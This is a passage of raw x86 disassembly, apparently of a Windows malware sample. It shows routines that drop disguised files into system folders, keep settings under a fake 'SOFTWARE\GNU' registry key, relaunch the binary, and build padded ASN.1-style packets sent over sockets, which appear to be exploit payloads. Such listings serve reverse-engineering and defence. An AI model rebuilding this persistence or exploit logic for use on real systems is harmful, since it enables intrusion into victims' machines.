[esi+4] loc_4049E3: ; CODE XREF: sub_40497E+87j mov eax, [edi] mov [ebp+var_C], eax lea eax, [ebp+var_10C] push eax call sub_41484D pop ecx mov ecx, [ebp+var_C] cmp ecx, eax jnz short loc_4049FF mov [ebp+var_8], ecx loc_4049FF: ; CODE XREF: sub_40497E+7Cj inc ebx add edi, 18h cmp ebx, [esi] jb short loc_4049E3 loc_404A07: ; CODE XREF: sub_40497E+60j push esi call sub_41CA28 mov eax, [ebp+var_8] pop ecx pop edi pop esi pop ebx leave retn sub_40497E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404A16 proc near ; CODE XREF: sub_40EEB1+3p var_108 = byte ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push ebx push esi push edi push 100h lea eax, [ebp+var_108] xor edi, edi push eax mov [ebp+var_8], edi call ds:dword_429278 ; gethostname push 1Ch call sub_41BA91 pop ecx mov esi, eax push edi lea eax, [ebp+var_4] push eax push esi mov [ebp+var_4], 4 call sub_41B9BA ; GetIpAddrTable push esi call sub_41CA28 push [ebp+var_4] call sub_41BAB5 pop ecx pop ecx mov esi, eax push edi lea eax, [ebp+var_4] push eax push esi call sub_41B9BA ; GetIpAddrTable xor ebx, ebx cmp [esi], edi jbe short loc_404A9A lea edi, [esi+0Ch] loc_404A7B: ; CODE XREF: sub_404A16+82j lea eax, [ebp+var_108] push eax call sub_41484D cmp [edi-8], eax pop ecx jnz short loc_404A92 mov eax, [edi] mov [ebp+var_8], eax loc_404A92: ; CODE XREF: sub_404A16+75j inc ebx add edi, 18h cmp ebx, [esi] jb short loc_404A7B loc_404A9A: ; CODE XREF: sub_404A16+60j push esi call sub_41CA28 mov eax, [ebp+var_8] pop ecx pop edi pop esi pop ebx leave retn sub_404A16 endp ; =============== S U B R O U T I N E ======================================= sub_404AA9 proc near ; CODE XREF: .text:00408B7Fp ; .text:00408BDAp ... push esi mov esi, offset dword_4359C8 push esi push 1 push 0 push 1Ah push 0 call ds:dword_4291E0 push offset asc_42FDC4 ; "\\" push esi call sub_41C940 push offset aFntcache_bin ; "FNTCACHE.BIN" push esi call sub_41C940 add esp, 10h mov eax, esi pop esi retn sub_404AA9 endp ; =============== S U B R O U T I N E ======================================= sub_404ADB proc near ; CODE XREF: sub_4060DC+3D1p ; sub_40F0E9+29p ... push esi mov esi, offset dword_435C10 push esi push 1 push 0 push 1Ah push 0 call ds:dword_4291E0 push offset asc_42FDC4 ; "\\" push esi call sub_41C940 push offset aPerfc012_dat ; "perfc012.dat" push esi call sub_41C940 add esp, 10h mov eax, esi pop esi retn sub_404ADB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B0D proc near ; CODE XREF: sub_404E2C+4Fp ; .text:0040A98Dp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi push 104h mov edi, offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\mvwatvx.exe" push edi call ds:dword_4290D4 ; GetSystemDirectoryA mov ebx, offset asc_42FDC4 ; "\\" push ebx push edi call sub_41C940 mov esi, offset aMvwatvx_exe ; "mvwatvx.exe" push esi push edi call sub_41C940 or [ebp+var_4], 0FFFFFFFFh add esp, 10h push edi lea eax, [ebp+var_4] call sub_405CD8 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_404B7E call ds:dword_4290D8 ; RtlGetLastWin32Error cmp eax, 5 jnz short loc_404B7E push edi push 1 push 0 push 1Ah push 0 call ds:dword_4291E0 push ebx push edi call sub_41C940 push esi push edi call sub_41C940 add esp, 10h loc_404B7E: ; CODE XREF: sub_404B0D+44j ; sub_404B0D+4Fj lea esi, [ebp+var_4] call sub_405CF2 mov eax, edi pop edi pop esi pop ebx leave retn sub_404B0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B8D proc near ; CODE XREF: sub_40F6A4+E2p var_C = byte ptr -0Ch arg_0 = byte ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push esi push offset aSoftwareGnu ; "SOFTWARE\\GNU" push 80000001h lea esi, [ebp+var_C] call sub_40D8DC push 1 push offset aSkst ; "skst" mov eax, esi push eax call sub_40DA4A movsx eax, [ebp+arg_0] push eax push offset aSkvr ; "skvr" mov eax, esi push eax call sub_40DA4A movzx eax, [ebp+arg_4] push eax push offset aSkpt ; "skpt" mov eax, esi push eax call sub_40DA4A push 10h push [ebp+arg_8] mov eax, esi push offset aSkus ; "skus" call sub_40D9C3 push 10h push [ebp+arg_C] mov eax, esi push offset aSkps ; "skps" call sub_40D9C3 mov eax, esi call sub_40D8F7 pop esi leave retn sub_404B8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C05 proc near ; CODE XREF: sub_4142D6:loc_4146EBp var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push esi push offset aSoftwareGnu ; "SOFTWARE\\GNU" push 80000001h lea esi, [ebp+var_10] call sub_40D8DC mov esi, offset aSkst ; "skst" push esi lea eax, [ebp+var_10] push eax call sub_40D93E test eax, eax jz short loc_404CAA push esi lea eax, [ebp+var_10] push eax call sub_40DA68 test eax, eax jz short loc_404CAA push edi push offset aSkvr ; "skvr" lea eax, [ebp+var_10] push eax call sub_40DA68 mov ds:byte_435C04, al push offset aSkpt ; "skpt" lea eax, [ebp+var_10] push eax call sub_40DA68 mov esi, ds:dword_429004 push 10h pop edi mov ds:word_435C08, ax lea eax, [ebp+var_4] push eax push offset dword_435ACC push 0 push 0 push offset aSkus ; "skus" push [ebp+var_10] mov [ebp+var_4], edi call esi ; RegQueryValueExA lea eax, [ebp+var_4] push eax push offset dword_435BF4 push 0 push 0 push offset aSkps ; "skps" push [ebp+var_10] mov [ebp+var_4], edi call esi ; RegQueryValueExA xor esi, esi inc esi pop edi jmp short loc_404CAC ; --------------------------------------------------------------------------- loc_404CAA: ; CODE XREF: sub_404C05+2Aj ; sub_404C05+38j xor esi, esi loc_404CAC: ; CODE XREF: sub_404C05+A3j lea eax, [ebp+var_10] call sub_40D8F7 mov eax, esi pop esi leave retn sub_404C05 endp ; =============== S U B R O U T I N E ======================================= sub_404CB9 proc near ; CODE XREF: sub_409BDA+24Ep ; sub_409BDA+61Fp ... and dword ptr [edi], 0 push esi xor esi, esi loc_404CBF: ; CODE XREF: sub_404CB9+1Cj push 0FFh push 0 call sub_40D864 mov [edi+esi+4], al inc esi cmp esi, 20h pop ecx pop ecx jb short loc_404CBF mov eax, edi pop esi retn sub_404CB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CDB proc near ; CODE XREF: sub_404D1E+21p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_8], eax jbe short loc_404CF5 loc_404CE5: ; CODE XREF: sub_404CDB+18j mov ecx, [ebp+arg_4] mov cl, [eax+ecx] mov [esi+eax+4], cl inc eax cmp eax, [ebp+arg_8] jb short loc_404CE5 loc_404CF5: ; CODE XREF: sub_404CDB+8j mov ecx, [ebp+arg_0] push edi push [ebp+arg_8] lea edi, [esi+24h] mov eax, edi call sub_41B3D5 lea eax, [esi+4] push eax mov ecx, edi call sub_41954F pop ecx pop ecx mov dword ptr [esi], 1 pop edi pop ebp retn 0Ch sub_404CDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D1E proc near ; CODE XREF: sub_409BDA+25Ep ; sub_409BDA+62Cp ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] lea eax, [ebp+var_20] push 0 push eax call sub_41C6D0 add esp, 0Ch push [ebp+arg_4] lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_404CDB leave retn 8 sub_404D1E endp ; =============== S U B R O U T I N E ======================================= sub_404D48 proc near ; CODE XREF: sub_404D64+1Ap arg_0 = dword ptr 4 push esi lea esi, [eax+4] lea ecx, [eax+24h] push esi mov eax, esi call sub_41954F xor eax, eax mov al, [esi] pop ecx pop esi xor eax, [esp+arg_0] retn 4 sub_404D48 endp ; =============== S U B R O U T I N E ======================================= sub_404D64 proc near ; CODE XREF: sub_414C2D+29p ; sub_414D0B+2Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi cmp [esp+4+arg_8], edi jbe short loc_404D8D push esi loc_404D6E: ; CODE XREF: sub_404D64+26j mov eax, [esp+8+arg_4] lea esi, [edi+eax] xor eax, eax mov al, [esi] push eax mov eax, [esp+0Ch+arg_0] call sub_404D48 inc edi cmp edi, [esp+8+arg_8] mov [esi], al jb short loc_404D6E pop esi loc_404D8D: ; CODE XREF: sub_404D64+7j pop edi retn 0Ch sub_404D64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D91 proc near ; CODE XREF: sub_409BDA+537p ; sub_40B8D4+9Dp var_408 = dword ptr -408h var_404 = byte ptr -404h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 408h push esi push edi mov esi, 200h push esi mov [ebp+var_408], eax lea eax, [ebp+var_204] push 0 push eax call sub_41C6D0 push esi lea eax, [ebp+var_404] push 0 push eax call sub_41C6D0 push 1 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_204] push eax mov eax, esi mov [ebp+var_4], 10001h call sub_417B36 mov eax, [ebp+var_408] add eax, 7 add esp, 24h xor ecx, ecx shr eax, 3 jz short loc_404E15 loc_404DF3: ; CODE XREF: sub_404D91+82j mov edx, ecx sub edx, eax mov eax, [ebp+arg_4] mov al, [ecx+eax] mov [ebp+edx+var_204], al mov eax, [ebp+var_408] add eax, 7 inc ecx shr eax, 3 cmp ecx, eax jb short loc_404DF3 loc_404E15: ; CODE XREF: sub_404D91+60j mov edi, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, 101h lea esi, [ebp+var_408] rep movsd pop edi pop esi leave retn sub_404D91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E2C proc near ; DATA XREF: sub_4142D6+Eo var_1E4 = byte ptr -1E4h var_B8 = byte ptr -0B8h var_54 = dword ptr -54h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1E4h mov ecx, [ebp+arg_0] mov eax, [ecx] mov ecx, [ecx+4] push ebx push esi push dword ptr [ecx+0B8h] push dword ptr [eax+0Ch] push dword ptr [eax] lea eax, [ebp+var_B8] push offset aXXX ; "%X %X %X" push eax call sub_41CA2D add esp, 14h lea eax, [ebp+var_B8] push eax mov ebx, offset dword_438154 call sub_408012 push ds:dword_438104 call ds:dword_4290F0 ; CloseHandle call sub_404B0D push eax lea eax, [ebp+var_1E4] push eax call sub_41C930 push 44h pop eax push eax mov [ebp+var_54], eax xor esi, esi lea eax, [ebp+var_54] push esi push eax call sub_41C6D0 push 10h lea eax, [ebp+var_10] push esi push eax call sub_41C6D0 add esp, 20h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi lea eax, [ebp+var_1E4] push eax push esi call ds:dword_4290EC ; CreateProcessA push esi call ds:dword_4290E8 ; ExitProcess int 3 ; Trap to Debugger sub_404E2C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404ED3 proc near ; CODE XREF: sub_405123+113p arg_0 = dword ptr 4 push esi push ebx call sub_41D0C4 mov esi, eax test esi, esi pop ecx jz short loc_404EFD push ebx push 0 push esi call sub_41C6D0 push ebx push [esp+14h+arg_0] push esi call sub_41BC60 add esp, 18h mov [edi+4], ebx mov [edi], esi loc_404EFD: ; CODE XREF: sub_404ED3+Cj mov eax, edi pop esi retn 4 sub_404ED3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F03 proc near ; CODE XREF: sub_404FEB+19p ; sub_405064+18p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_C] push esi push edi lea edi, [ebx+eax] push edi call sub_41D0C4 mov esi, eax test esi, esi pop ecx jz short loc_404F4A push edi push 0 push esi call sub_41C6D0 push ebx push [ebp+arg_4] push esi call sub_41BC60 push [ebp+arg_C] lea eax, [esi+ebx] push [ebp+arg_8] push eax call sub_41BC60 mov eax, [ebp+arg_0] add esp, 24h mov [eax+4], edi mov [eax], esi jmp short loc_404F4D ; --------------------------------------------------------------------------- loc_404F4A: ; CODE XREF: sub_404F03+16j mov eax, [ebp+arg_0] loc_404F4D: ; CODE XREF: sub_404F03+45j pop edi pop esi pop ebp retn 10h sub_404F03 endp ; =============== S U B R O U T I N E ======================================= sub_404F53 proc near ; CODE XREF: sub_404FEB+5Ep ; sub_404FEB+6Ep ... mov eax, [esi] test eax, eax jz short loc_404F60 push eax call sub_41C2DD pop ecx loc_404F60: ; CODE XREF: sub_404F53+4j and dword ptr [esi+4], 0 and dword ptr [esi], 0 retn sub_404F53 endp ; =============== S U B R O U T I N E ======================================= sub_404F68 proc near ; CODE XREF: sub_404FEB+21p ; sub_4050C4+8p ... mov eax, [esi+4] cmp eax, 0FFFFh jl short loc_404F75 xor al, al retn ; --------------------------------------------------------------------------- loc_404F75: ; CODE XREF: sub_404F68+8j push ebx xor ebx, ebx cmp eax, 7Fh setnl bl push edi lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_41D0C4 mov edi, eax test edi, edi pop ecx jnz short loc_404F96 xor al, al jmp short loc_404FE8 ; --------------------------------------------------------------------------- loc_404F96: ; CODE XREF: sub_404F68+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_41C6D0 add esp, 0Ch cmp ebx, 1 jnz short loc_404FB6 mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_404FCB ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F68+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_404FCB: ; CODE XREF: sub_404F68+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call sub_41BC60 add esp, 0Ch push dword ptr [esi] call sub_41C2DD add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_404FE8: ; CODE XREF: sub_404F68+2Cj pop edi pop ebx retn sub_404F68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FEB proc near ; CODE XREF: sub_405123+7Ep ; sub_405123+D7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push dword ptr [edi+4] lea eax, [ebp+var_C] push dword ptr [edi] xor ebx, ebx push offset byte_42FE34 push eax inc ebx call sub_404F03 lea esi, [ebp+var_C] call sub_404F68 mov esi, [ebp+var_8] inc esi push esi mov [ebp+var_4], esi call sub_41D0C4 mov ebx, eax test ebx, ebx pop ecx jnz short loc_405029 xor al, al jmp short loc_405060 ; --------------------------------------------------------------------------- loc_405029: ; CODE XREF: sub_404FEB+38j push esi push 0 push ebx call sub_41C6D0 push [ebp+var_8] lea eax, [ebx+1] push [ebp+var_C] mov byte ptr [ebx], 3 push eax call sub_41BC60 add esp, 18h mov esi, edi call sub_404F53 mov eax, [ebp+var_4] lea esi, [ebp+var_C] mov [edi+4], eax mov [edi], ebx call sub_404F53 mov al, 1 loc_405060: ; CODE XREF: sub_404FEB+3Cj pop esi pop ebx leave retn sub_404FEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405064 proc near ; CODE XREF: sub_405099+13p ; sub_4050B4+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push [ebp+arg_4] mov esi, eax push [ebp+arg_0] mov ebx, [esi+4] push dword ptr [esi] lea eax, [ebp+var_8] push eax call sub_404F03 call sub_404F53 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax pop esi mov al, 1 pop ebx leave retn 8 sub_405064 endp ; =============== S U B R O U T I N E ======================================= sub_405099 proc near ; CODE XREF: sub_405123+E5p ; sub_405123+153p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] call sub_41C350 pop ecx push eax push [esp+4+arg_4] mov eax, [esp+8+arg_0] call sub_405064 retn 8 sub_405099 endp ; =============== S U B R O U T I N E ======================================= sub_4050B4 proc near ; CODE XREF: sub_405102+Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_405064 retn 8 sub_4050B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050C4 proc near ; CODE XREF: sub_405102+19p ; sub_405123+85p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, eax call sub_404F68 test al, al jz short loc_4050FF push ebx push dword ptr [esi+4] lea eax, [ebp+var_8] push dword ptr [esi] xor ebx, ebx push offset dword_42FE30 push eax inc ebx call sub_404F03 call sub_404F53 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, bl pop ebx loc_4050FF: ; CODE XREF: sub_4050C4+Fj pop esi leave retn sub_4050C4 endp ; =============== S U B R O U T I N E ======================================= sub_405102 proc near ; CODE XREF: sub_405123+127p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov eax, [esp+4+arg_0] push [esp+4+arg_4] call sub_4050B4 test al, al jz short locret_405120 mov eax, [esp+arg_0] call sub_4050C4 locret_405120: ; CODE XREF: sub_405102+13j retn 0Ch sub_405102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405123 proc near ; CODE XREF: sub_405664+53p ; sub_4056EB+53p var_848 = byte ptr -848h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 848h push ebx push esi mov ebx, eax xor edx, edx xor esi, esi mov ecx, 408h xor eax, eax cmp [ebp+arg_8], ecx push edi mov [ebp+var_3C], edx mov [ebp+var_40], esi jg loc_405471 lea edi, [ebx+8] cmp edi, ecx ja loc_405471 push 4 mov [ebp+var_24], eax mov [ebp+var_28], eax mov [ebp+var_4], eax mov [ebp+var_8], eax mov [ebp+var_34], eax mov [ebp+var_38], eax mov [ebp+var_C], eax mov [ebp+var_10], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_20], eax mov [ebp+var_14], eax mov [ebp+var_18], eax push offset dword_435444 lea eax, [ebp+var_28] call sub_405064 push 3 push offset dword_435440 lea eax, [ebp+var_28] call sub_405064 lea edi, [ebp+var_28] call sub_404FEB mov eax, edi call sub_4050C4 mov esi, 800h push esi lea eax, [ebp+var_848] push 42h push eax call sub_41C6D0 add esp, 0Ch push 8 push offset byte_43544C lea eax, [ebp+var_8] call sub_405064 push ebx push [ebp+arg_C] lea eax, [ebp+var_8] call sub_405064 mov eax, 409h sub eax, [ebp+var_4] push eax lea eax, [ebp+var_848] push eax lea eax, [ebp+var_8] call sub_405064 lea edi, [ebp+var_8] call sub_404FEB push offset loc_42FE24 lea eax, [ebp+var_38] push eax call sub_405099 lea edi, [ebp+var_38] call sub_404FEB push esi lea eax, [ebp+var_848] push 44h push eax call sub_41C6D0 add esp, 0Ch lea eax, [ebp+var_848] push eax mov ebx, 410h lea edi, [ebp+var_48] call sub_404ED3 call sub_404FEB push [ebp+var_44] lea eax, [ebp+var_38] push [ebp+var_48] push eax call sub_405102 mov esi, edi call sub_404F53 mov ebx, 800h push ebx lea eax, [ebp+var_848] push 43h push eax call sub_41C6D0 add esp, 0Ch push offset aCccc ; "CCCC" lea eax, [ebp+var_10] push eax call sub_405099 push 4 push offset dword_435438 lea eax, [ebp+var_10] call sub_405064 push [ebp+arg_8] lea eax, [ebp+var_10] push [ebp+arg_4] call sub_405064 mov eax, 408h sub eax, [ebp+arg_8] push eax lea eax, [ebp+var_848] push eax lea eax, [ebp+var_10] call sub_405064 lea edi, [ebp+var_10] call sub_404FEB push [ebp+var_C] mov eax, [ebp+var_10] push eax lea eax, [ebp+var_30] call sub_405064 push [ebp+var_34] mov eax, [ebp+var_38] push eax lea eax, [ebp+var_30] call sub_405064 lea eax, [ebp+var_30] call sub_4050C4 mov esi, edi call sub_404F53 lea esi, [ebp+var_38] call sub_404F53 push [ebp+var_4] mov eax, [ebp+var_8] push eax lea eax, [ebp+var_20] call sub_405064 push [ebp+var_24] mov eax, [ebp+var_28] push eax lea eax, [ebp+var_20] call sub_405064 push [ebp+var_2C] mov eax, [ebp+var_30] push eax lea eax, [ebp+var_20] call sub_405064 lea eax, [ebp+var_20] call sub_4050C4 lea esi, [ebp+var_8] call sub_404F53 lea esi, [ebp+var_28] call sub_404F53 lea esi, [ebp+var_30] call sub_404F53 push ebx lea eax, [ebp+var_848] push 41h push eax call sub_41C6D0 add esp, 0Ch push 400h lea eax, [ebp+var_848] push eax lea eax, [ebp+var_18] call sub_405064 lea edi, [ebp+var_18] call sub_404FEB push 2 push offset dword_42FE18 mov eax, edi call sub_405064 push [ebp+var_1C] mov eax, [ebp+var_20] push eax mov eax, edi call sub_405064 mov eax, edi call sub_4050C4 lea esi, [ebp+var_20] call sub_404F53 push [ebp+var_14] xor eax, eax mov [ebp+var_C], eax mov [ebp+var_10], eax mov [ebp+var_4], eax mov [ebp+var_8], eax mov eax, [ebp+var_18] push eax lea eax, [ebp+var_10] call sub_405064 lea esi, [ebp+var_10] call sub_404F68 mov esi, edi call sub_404F53 push offset dword_42FE14 lea eax, [ebp+var_8] push eax call sub_405099 push [ebp+var_C] mov eax, [ebp+var_10] push eax lea eax, [ebp+var_8] call sub_405064 lea esi, [ebp+var_8] call sub_404F68 lea esi, [ebp+var_10] call sub_404F53 push offset dword_42FE10 mov eax, esi push eax call sub_405099 push [ebp+var_4] mov eax, [ebp+var_8] push eax mov eax, esi call sub_405064 call sub_404F68 lea esi, [ebp+var_8] call sub_404F53 push offset dword_42FE04 mov eax, esi push eax call sub_405099 push [ebp+var_C] mov eax, [ebp+var_10] push eax mov eax, esi call sub_405064 call sub_404F68 lea esi, [ebp+var_10] call sub_404F53 push offset asc_42FE00 ; "`" lea eax, [ebp+var_40] push eax call sub_405099 push [ebp+var_4] mov eax, [ebp+var_8] push eax lea eax, [ebp+var_40] call sub_405064 lea esi, [ebp+var_8] call sub_404F53 mov ecx, [ebp+var_40] mov eax, [ebp+arg_0] mov [eax], ecx mov ecx, [ebp+var_3C] mov [eax+4], ecx jmp short loc_405479 ; --------------------------------------------------------------------------- loc_405471: ; CODE XREF: sub_405123+22j ; sub_405123+2Dj mov eax, [ebp+arg_0] mov [eax], esi mov [eax+4], edx loc_405479: ; CODE XREF: sub_405123+34Cj pop edi pop esi pop ebx leave retn sub_405123 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40547E proc near ; CODE XREF: sub_40553D+A0p ; sub_40553D+C0p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] push eax push 0 lea eax, [ebp+var_10C] push eax xor edi, edi lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_4292D4 ; select cmp eax, edi pop edi jnz short loc_4054E2 lea eax, [ebp+var_10C] push eax push esi call sub_41B758 ; __WSAFDIsSet test eax, eax jnz short loc_4054E6 loc_4054E2: ; CODE XREF: sub_40547E+51j xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4054E6: ; CODE XREF: sub_40547E+62j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push esi call ds:dword_4292D8 ; recv leave retn sub_40547E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4054F8 proc near ; CODE XREF: sub_40553D+81p ; sub_40553D+AAp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push [ebp+arg_8] call ds:dword_4292D0 ; htonl mov esi, ds:dword_4292E0 push 0 mov [ebp+var_4], eax push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call esi ; send cmp eax, 4 jz short loc_405525 xor al, al jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405525: ; CODE XREF: sub_4054F8+27j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call esi ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax loc_40553A: ; CODE XREF: sub_4054F8+2Bj pop esi leave retn sub_4054F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40553D proc near ; CODE XREF: sub_405615+44p ; sub_405664+73p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi mov esi, [ebp+arg_8] lea ebx, [esi+41h] push edi push ebx mov [ebp+var_4], ebx call sub_41D0C4 mov edi, eax test edi, edi pop ecx jnz short loc_405566 xor al, al jmp loc_405610 ; --------------------------------------------------------------------------- loc_405566: ; CODE XREF: sub_40553D+20j push ebx push 0 push edi call sub_41C6D0 push 2Fh push offset dword_435380 push edi call sub_41BC60 push 8 lea eax, [edi+31h] push offset dword_435374 push eax mov [edi+2Fh], si call sub_41BC60 push esi push [ebp+arg_4] lea ebx, [edi+3Bh] push ebx mov [edi+39h], si call sub_41BC60 push 6 push offset dword_4381F8 add ebx, esi push ebx call sub_41BC60 mov esi, [ebp+arg_0] push 85h push offset dword_4353B0 push esi call sub_4054F8 add esp, 48h test al, al jnz short loc_4055CE loc_4055CA: ; CODE XREF: sub_40553D+B4j xor bl, bl jmp short loc_405607 ; --------------------------------------------------------------------------- loc_4055CE: ; CODE XREF: sub_40553D+8Bj push 0 mov ebx, 100h lea eax, [ebp+var_104] push ebx push eax call sub_40547E push [ebp+var_4] push edi push esi call sub_4054F8 add esp, 18h test al, al jz short loc_4055CA push 0 lea eax, [ebp+var_104] push ebx push eax call sub_40547E add esp, 0Ch mov bl, 1 loc_405607: ; CODE XREF: sub_40553D+8Fj push edi call sub_41C2DD pop ecx mov al, bl loc_405610: ; CODE XREF: sub_40553D+24j pop edi pop esi pop ebx leave retn sub_40553D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405615 proc near ; CODE XREF: sub_4056EB+73p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push esi push 0 push 48h mov esi, eax push offset unk_435328 push esi call ds:dword_4292E0 ; send cmp eax, 48h jnz short loc_40564E push 0 lea eax, [ebp+var_20] push 20h push eax call sub_40547E add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_40564E cmp [ebp+var_20], 82h jz short loc_405652 loc_40564E: ; CODE XREF: sub_405615+1Cj ; sub_405615+31j xor al, al jmp short loc_405661 ; --------------------------------------------------------------------------- loc_405652: ; CODE XREF: sub_405615+37j push [ebp+arg_4] push [ebp+arg_0] push esi call sub_40553D add esp, 0Ch loc_405661: ; CODE XREF: sub_405615+3Bj pop esi leave retn sub_405615 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405664 proc near ; DATA XREF: .text:00430724o var_57C = byte ptr -57Ch var_124 = dword ptr -124h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 57Ch push esi push edi lea esi, [ecx+10h] push 0FFFFFFFFh push ds:dword_43819C mov ecx, 15Dh lea edi, [ebp+var_57C] rep movsd call ds:dword_429128 ; WaitForSingleObject mov eax, ds:dword_4381B0 test eax, eax jnz short loc_4056A4 push ds:dword_43819C call ds:dword_429138 ; ReleaseMutex jmp short loc_4056E7 ; --------------------------------------------------------------------------- loc_4056A4: ; CODE XREF: sub_405664+30j push dword ptr [eax] mov eax, [eax+4] push 164h lea ecx, [ebp+var_8] push offset sub_434350 push ecx call sub_405123 add esp, 10h push ds:dword_43819C call ds:dword_429138 ; ReleaseMutex push [ebp+var_4] push [ebp+var_8] push [ebp+var_124] call sub_40553D add esp, 0Ch lea esi, [ebp+var_8] call sub_404F53 loc_4056E7: ; CODE XREF: sub_405664+3Ej pop edi pop esi leave retn sub_405664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 